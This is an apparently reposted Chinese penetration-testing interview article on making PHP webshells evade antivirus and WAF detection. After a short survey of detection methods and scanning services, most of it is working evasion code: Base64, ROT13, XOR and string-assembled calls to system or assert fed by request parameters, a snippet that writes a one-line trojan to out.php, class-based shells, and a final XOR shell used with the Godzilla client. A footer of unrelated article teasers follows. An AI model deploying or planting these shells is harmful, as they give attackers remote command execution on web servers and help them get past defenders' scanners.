2025年常见渗透测试面试题-webshell免杀思路(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

webshell免杀思路

PHP免杀原理

webshell免杀测试:

webshell免杀绕过方法:

编码绕过:

可变变量绕过

数组绕过

类绕过

多姿势配合免杀

webshell免杀思路

分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。
动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。

PHP免杀原理

通过PHP语言的动态特性,灵活利用各种PHP函数和特性,混淆和变形中间两部分内容,从而达到免杀

注意点:
eval() 高危函数
eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用

可变函数:通过一个变量获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行

人话:eval() 函数不能通过拼接、混淆来进行执行,只能通过明文直接写入

assert() 高危函数
在PHP7 中, assert () 也不再是函数了,变成了一个语言结构(类似于 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,这个感兴趣可以自行了解即可

所以在WebShell免杀这块,我还是更喜欢用  system() 高危函数,以下很多案例都是使用  system() 来最终执行的

webshell免杀测试:

渊龙Sec团队导航(上面啥都有): https://dh.aabyss.cn/
VirusTotal: https://www.virustotal.com/gui/home/upload
河马WebShell查杀: https://n.shellpub.com/
微步在线云沙箱: https://s.threatbook.com/
百度WEBDIR+: https://scanner.baidu.com/
长亭牧云查杀: https://stack.chaitin.com/security-challenge/webshell/index
阿里伏魔引擎: https://xz.aliyun.com/zues
D盾: http://www.d99net.net/
网站安全狗: http://free.safedog.cn/website_safedog.html

webshell免杀绕过方法:

编码绕过:

(可以绕过waf检测、早期免杀方法)
    可以考虑一些比较冷门的编码方式,或者写一个类似于凯撒密码的加密函数,来对WAF进行ByPass
 Base64编码  

  <?php$f = base64_decode("YX____Nz__ZX__J0");  //解密后为assert高危函数$f($_POST[aabyss]);                      //assert($_POST[aabyss]);?>

 ASCII编码

   <?php//ASCII编码解密后为assert高危函数$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);$f($_POST['aabyss']);                //assert($_POST['aabyss']);?>

 ROT13编码

   $f = str_rot13('flfgrz');  //解密后为system高危函数$f($_POST['aabyss']);      //system($_POST['aabyss']);

    Gzip压缩加密(畸形免杀)
        https://blog.zgsec.cn/index.php/archives/147/
字符串混淆处理绕过:
    将system高危函数内容的拼接、混淆以及变换,来绕过waf检测  

 function confusion($a){$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];$tmp = "";while ($a>10) {$tmp .= $s[$a%10];$a = $a/10;}return $tmp.$s[$a];}$f = confusion(976534);         //sysTem(高危函数)$f($_POST['aabyss']);           //sysTem($_POST['aabyss']);

自定义函数+文件名混淆
        先建一个PHP名字为 976534.php,然后下面的代码:  

  function confusion($a){$s = ['a','t','s', 'y', 'm', 'e', '/'];$tmp = "";while ($a>10) {$tmp .= $s[$a%10];$a = $a/10;}return $tmp.$s[$a];}$f = confusion(intval(substr(__FILE__, -10, 6)));   //sysTem(高危函数)//__FILE__为976534.php//substr(__FILE__, -10, 6)即从文件名中提取出976534//confusion(intval(976534))即输出了sysTem(高危函数),拼接即可$f($_POST['aabyss']);        //sysTem($_POST['aabyss']);

      首先先读取文件名,从 976534.php 文件名中提取出 976534 ,然后带入函数中就成功返还 sysTem 高危函数了,可以配合其他姿势一起使用,达成免杀效果
    特殊字符串
        主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等)

  $f = 'hello';$$z = $_POST['aabyss'];eval(``.$hello);

生成新文件绕过
    PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的   

$hahaha = strtr("abatme","me","em");      //$hahaha = abatem$wahaha = strtr($hahaha,"ab","sy");       //$wahaha = system(高危函数)$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");//$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php'$wahaha($gogogo);  //将一句话木马内容写入同目录下的out.php中

回调函数绕过
    通过回调函数,来执行对应的命令

    call_user_func_array()//ASCII编码解密后为assert高危函数$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);call_user_func_array($f, array($_POST['aabyss']));array_map()function fun() {//ASCII编码解密后为assert高危函数$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);return ''.$f;}$user = fun();    //拿到assert高危函数$pass =array($_POST['aabyss']);array_map($user,$user = $pass );

回调函数的免杀早早就被WAF盯上了,像这样单独使用一般都没办法免杀,所以一般都是配合其他手法使用

可变变量绕过

    简单可变变量
        什么叫可变变量呢?看一下具体例子就明白了: 

  $f = 'hello';    //变量名为f,变量值为Hello$$f = 'AabyssZG';  //变量名为Hello(也就是$f的值),值为AabyssZGecho $hello;     //输出AabyssZG

那要怎么利用这个特性呢?如下:

        $f ='hello';$$f = $_POST['aabyss'];eval($hello);   //eval($_POST['aabyss']);

数组+变量引用混淆
        上文提到,可以通过 compact 创建一个包含变量名和它们的值的数组

        那就可以用 compact 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可

        $z = "system";                        //配合其他姿势,将system高危函数传给z$zhixin  = &$z;$event = 'hahaha';$result = compact("event", "zhixin"); //通过compact创建数组$z = 'wahaha';                        //我将变量z进行修改为'wahaha'$f = $result['zhixin'];$f($_POST['aabyss']);                  //system($_POST['aabyss']);

根据简单可变变量学到的内容,可以发现传入数组后,函数内容被替换是不会影响数组中的内容的

        于是先用变量 zhixin 来引用变量 z 然后通过 compact 创建为数组,接下来再将变量 z 附上新的内容 wahaha ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 system 而是 wahaha ,从而达到WebShell免杀

数组绕过

先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接
    一维数组

        $f = substr_replace("systxx","em",4);         //system(高危函数)$z = array($array = array('a'=>$f($_GET['aabyss'])));var_dump($z);

数组内容如下:  

Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )

二维数组

        $f = substr_replace("systxx","em",4);          //system(高危函数)$z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss'])))));var_dump($z);

类绕过

通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行
    单类

    class Test{public $_1='';function __destruct(){system("$this->a");}}$_2 = new Test;$_2->$_1 = $_POST['aabyss'];

多类

        class Test1{public $b ='';function post(){return $_POST['aabyss'];}}class Test2 extends Test1{public $code = null;function __construct(){$code = parent::post();system($code);}}$fff = new Test2;$zzz = new Test1;

嵌套运算绕过
主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 system ,然后动态执行恶意代码之即可
    异或
    嵌套运算

传参绕过
将恶意代码不写入文件,而是通过传参传入,所以这个比较难以被常规WAF所识别
    Base64传参
      

  $decrpt = $_REQUEST['a'];$decrps = $_REQUEST['b'];$arrs = explode("|", $decrpt)[1];$arrs = explode("|", base64_decode($arrs));$arrt = explode("|", $decrps)[1];$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);

传参内容:

   

a=c3lzdGVt    //system的base64加密
b=d2hvYW1p    //whoami的base64加密

也可以尝试使用其他编码或者加密方式进行传参
    函数构造传参
        可以用一些定义函数的函数来进行传参绕过,比如使用 register_tick_function() 这个函数

        register_tick_function ( callable $function [, mixed $... ] ) : bool例子如下:$f = $_REQUEST['f'];declare(ticks=1);register_tick_function ($f, $_REQUEST['aabyss']);

自定义函数绕过
通过自定义函数,将恶意代码内容隐藏于自定义函数当中,再进行拼接执行
    简单自定义函数
    读取已定义函数
读取字符串绕过
重点还是放在高危函数上,通过读取各种东西来获得对应字符串
    读取注释
        这里用到读取注释的函数

        ReflectionClass::getDocComment
        例子如下:

       

     /**   * system($_GET[aabyss]);*/  class User { }  $user = new ReflectionClass('User');$comment = $user->getDocComment();$f = substr($comment , 14 , 22);eval($f);

读取数据库
        可以通过 file_put_contents 文件写入函数写入一个Sqlite的数据库

        $datatest = "[文件的base64编码]";
        file_put_contents('./要写入的文件名', base64_decode($datatest));
        然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果

读取目录
        FilesystemIterator 是一个迭代器,可以获取到目标目录下的所有文件信息

        public FilesystemIterator::next ( void ) : void
        可以尝试使用 file_put_contents 写入一个名为 system.aabyss 的空文件,然后遍历目录拿到字符串 system ,成功ByPass
        为什么要写入为 system.aabyss 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了

多姿势配合免杀

    刚开始看这个样例我还是挺惊讶的,仔细分析了一波,发现还是挺简单的,但重在思路

    这个样例使用了异或+变换参数的手法,成功规避了正则匹配式,具有实战意义

    <?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
    这时候,就可以执行GET传参:?_=system&__=whoami 来执行whoami命令

    由8.1讲到PHP中如何异或,我们就先把最前面这部分拆出来看看

    <?=~$_='$<>/'^'{{{{';
    //即 '$<>/' ^ '{{{{'
    //即 "$<>/" 这部分字符串与后面 "{{{{" 这部分字符串异或
    所以由我们前面所学的知识,加上自己动手实践一下,可以发现异或结果为 _GET

    所以整个PHP语句解密后,再将 _ 替换为 a,将 __ 替换为 b,则原PHP转化为:

    $_GET['a']($_GET['b'])
    当我们给 a 传 system,给 b 传 whoami,原式就会变成这样

    system('whoami');
    既然上面的代码你看懂了,那不妨看一下下面魔改的代码:

    <?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);
    直接用 Godzilla 哥斯拉来连接
        XXX/run.php?_=assert
    当然这里使用到 assert 高危函数,只能用于 php 在 5.* 的版本,相关姿势读者不妨自行拓展一下哈哈~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/77055.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

访问不到服务器上启动的llamafactory-cli webui

采用SSH端口转发有效&#xff0c;在Windows上面进行访问 在服务器上启动 llamafactory-cli webui 后&#xff0c;访问方式需根据服务器类型和网络环境选择以下方案&#xff1a; 一、本地服务器&#xff08;物理机/虚拟机&#xff09; 1. 直接访问 若服务器与操作设备处于同一…

基于 LSTM 的多特征序列预测-SHAP可视化!

往期精彩内容&#xff1a; 单步预测-风速预测模型代码全家桶-CSDN博客 半天入门&#xff01;锂电池剩余寿命预测&#xff08;Python&#xff09;-CSDN博客 超强预测模型&#xff1a;二次分解-组合预测-CSDN博客 VMD CEEMDAN 二次分解&#xff0c;BiLSTM-Attention预测模型…

C++ 编程指南35 - 为保持ABI稳定,应避免模板接口

一&#xff1a;概述 模板在 C 中是编译期展开的&#xff0c;不同模板参数会生成不同的代码&#xff0c;这使得模板类/函数天然不具备 ABI 稳定性。为了保持ABI稳定&#xff0c;接口不要直接用模板&#xff0c;先用普通类打个底&#xff0c;模板只是“外壳”&#xff0c;这样 AB…

【iOS】OC高级编程 iOS多线程与内存管理阅读笔记——自动引用计数(二)

自动引用计数 前言ARC规则所有权修饰符**__strong修饰符**__weak修饰符__unsafe_unretained修饰符__autoreleasing修饰符 规则属性数组 前言 上一篇我们主要学习了一些引用计数方法的内部实现&#xff0c;现在我们学习ARC规则。 ARC规则 所有权修饰符 OC中&#xff0c;为了处…

可信空间数据要素解决方案

可信空间数据要素解决方案 一、引言 随着数字经济的蓬勃发展&#xff0c;数据已成为重要的生产要素。可信空间数据要素解决方案旨在构建一个安全、可靠、高效的数据流通与应用环境&#xff0c;促进数据要素的合理配置和价值释放&#xff0c;推动各行业的数字化转型和创新发展…

mysql删除表后重建表报错Tablespace exists

版本 mysql:8.0.23 复现步骤 1、删除表 DROP TABLE IF EXISTS xxx_demo; 2、新建表 CREATE TABLE xxx_demo (id bigint NOT NULL AUTO_INCREMENT COMMENT 主键id,creator varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT COMMENT 创建者,c…

【Leetcode-Hot100】缺失的第一个正数

题目 解答 有一处需要注意&#xff0c;我使用注释部分进行交换值&#xff0c;报错&#xff1a;超出时间限制。有人知道是为什么吗&#xff1f;难道是先给nums[i]赋值后&#xff0c;从而改变了后一项的索引&#xff1f; class Solution(object):def firstMissingPositive(sel…

从单模态到多模态:五大模型架构演进与技术介绍

前言 1. ResNet — 残差神经网络背景核心问题与解决方案原理模型架构ResNet 系列变体技术创新与影响 2. ViT — Vision Transformer背景核心思想发展历程Transformer的起源&#xff1a;ViT的出现&#xff1a;ViT的进一步发展&#xff1a; 模型架构技术创新与影响 3. Swin Trans…

JavaScript事件循环

目录 JavaScript 执行机制与事件循环 一、同步与异步代码 1. 同步代码&#xff08;Synchronous Code&#xff09; 2. 异步代码&#xff08;Asynchronous Code&#xff09; 二、事件循环&#xff08;Event Loop&#xff09; 1. 核心组成 2. 事件循环基本流程 3. 运行机制…

Java Collection(7)——Iterable接口

1.Iterator接口 1.1 Iterator接口和其他集合类的关系 Java集合类中&#xff0c;Iterable接口属于顶层接口&#xff0c;除Map接口外&#xff0c;其他都实现了Iterable接口&#xff0c;这意味着它们都可以重写和使用Iterable接口中的方法 1.2 Iterable接口简介 在JDK1.7以前&a…

若依微服务版启动小程序后端

目录标题 本地启动&#xff0c;dev对应 nacos里的 xxx-xxx-dev配置文件 本地启动&#xff0c;dev对应 nacos里的 xxx-xxx-dev配置文件

STM32基础教程——DMA+ADC多通道

目录 前言 ​编辑 技术实现 连线图 代码实现 技术要点 实验结果 问题记录 前言 DMA(Direct Memory Access)直接存储器存取&#xff0c;用来提供在外设和存储器 之间或者存储器和存储器之间的高速数据传输。无需CPU干预&#xff0c;数据可以通过DMA快速地移动&#xff0…

23黑马产品经理Day01

今天过了一遍23黑马产品经理的基础视频 问题思考维度 抓住核心用户 为什么需要抓住核心用户&#xff1f; 主要原因&#xff1a;用户越来越细分&#xff0c;保持市场竞争力&#xff0c;产品开发推广更聚焦 做产品为什么要了解用户&#xff1a;了解用户的付费点&#xff0c;…

C/C++ 通用代码模板

✅ C 语言代码模板&#xff08;main.c&#xff09; 适用于基础项目、算法竞赛或刷题&#xff1a; #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #include <math.h>// 宏定义区 #define MAX_N 1000 #defi…

【数据结构_7】栈和队列(上)

一、概念 栈和队列&#xff0c;也是基于顺序表和链表实现的 栈是一种特殊的线性表&#xff0c;其只允许在固定的一段进行插入和删除元素操作。 遵循后进先出的原则 此处所见到的栈&#xff0c;本质上就是一个顺序表/链表&#xff0c;但是&#xff0c;实在顺序表/链表的基础…

git UserInterfaceState.xcuserstate 文件频繁更新

1> 退出 Xcdoe&#xff0c;打开终端&#xff08;Terminal&#xff09;&#xff0c;进入到你的项目目录下。 2> 在终端键入 git rm --cached <YourProjectName>.xcodeproj/project.xcworkspace/xcuserdata/<YourUsername>.xcuserdatad/UserInterfaceState.x…

【Ai】MCP实战:手写 client 和 server [Python版本]

什么是mcp MCP 是一个开放协议&#xff0c;它为应用程序向 LLM 提供上下文的方式进行了标准化。你可以将 MCP 想象成 AI 应用程序的 USB-C 接口。就像 USB-C 为设备连接各种外设和配件提供了标准化的方式一样&#xff0c;MCP 为 AI 模型连接各种数据源和工具提供了标准化的接口…

ESP8266/32作为AVR编程器(ISP programmer)的使用介绍

ESP8266作为AVR编程器( ISP programmer)的使用介绍 &#x1f33f;ESP8266自带库例程&#xff1a;https://github.com/esp8266/Arduino/tree/master/libraries/ESP8266AVRISP&#x1f4cd;支持ESP8266/32的ESP_AVRISP其它开源工程&#xff08;个人没有再去验证&#xff09;&…

08-JVM 面试题-mk

文章目录 1.JVM 的各部分组成2.运行时数据区2.1.什么是程序计数器?2.2.你能给我详细的介绍Java堆吗?2.3.能不能解释一下方法区?2.3.1常量池2.3.2.运行时常量池2.4.什么是虚拟机栈?2.4.1.垃圾回收是否涉及栈内存?2.4.2.栈内存分配越大越好吗?2.4.3.方法内的局部变量是否线…

Vue3 nextTick

nextTick 是 Vue 中非常重要的一个 API&#xff0c;它允许你在 DOM 更新周期后执行延迟回调。 核心源码位置 Vue3 的 nextTick 实现主要在 packages/runtime-core/src/scheduler.ts 文件中。 基本实现 const resolvedPromise Promise.resolve() as Promise<any> let …